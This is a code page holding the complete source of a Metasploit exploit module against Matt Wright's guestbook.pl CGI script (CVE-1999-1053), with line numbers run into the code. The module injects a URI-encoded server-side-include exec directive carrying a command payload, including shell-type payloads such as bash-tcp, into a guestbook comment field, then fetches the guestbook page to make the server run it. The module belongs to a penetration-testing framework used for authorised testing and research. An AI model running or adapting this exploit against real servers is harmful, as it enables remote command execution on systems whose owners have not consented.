Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/guestbook_ssi_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'Matt Wright guestbook.pl Arbitrary Command Execution',13'Description' => %q{14The Matt Wright guestbook.pl <= v2.3.1 CGI script contains15a flaw that may allow arbitrary command execution. The vulnerability16requires that HTML posting is enabled in the guestbook.pl script, and17that the web server must have the Server-Side Include (SSI) script18handler enabled for the '.html' file type. By combining the script19weakness with non-default server configuration, it is possible to exploit20this vulnerability successfully.21},22'Author' => [ 'aushack' ],23'License' => MSF_LICENSE,24'References' =>25[26[ 'CVE', '1999-1053' ],27[ 'OSVDB', '84' ],28[ 'BID', '776' ],29],30'Privileged' => false,31'Payload' =>32{33'DisableNops' => true,34'Space' => 1024,35'Compat' =>36{37'PayloadType' => 'cmd cmd_bash',38'RequiredCmd' => 'generic perl ruby python bash-tcp telnet',39}40},41'Platform' => %w{ linux unix win },42'Arch' => ARCH_CMD,43'Targets' => [[ 'Automatic', { }]],44'DisclosureDate' => '1999-11-05',45'DefaultTarget' => 0))4647register_options(48[49OptString.new('URI', [true, "guestbook.pl script path", "/cgi-bin/guestbook.pl"]),50OptString.new('URIOUT', [true, "guestbook.html output", "/guestbook/guestbook.html"]),51])52end5354def exploit55realname = rand_text_alphanumeric(20)56email = rand_text_alphanumeric(20)57city = rand_text_alphanumeric(20)58state = rand_text_alphanumeric(20)59country = rand_text_alphanumeric(20)6061sploit = Rex::Text.uri_encode("<!--#exec cmd=\"" + payload.encoded.gsub('"','\"') + "\"", 'hex-normal')6263req1 = send_request_cgi({64'uri' => normalize_uri(datastore['URI']),65'method' => 'POST',66'data' => "realname=#{realname}&username=#{email}&city=#{city}&state=#{state}&country=#{country}&comments=#{sploit}",67}, 25)6869req2 = send_request_raw({70'uri' => normalize_uri(datastore['URIOUT']),71}, 25)7273end74end757677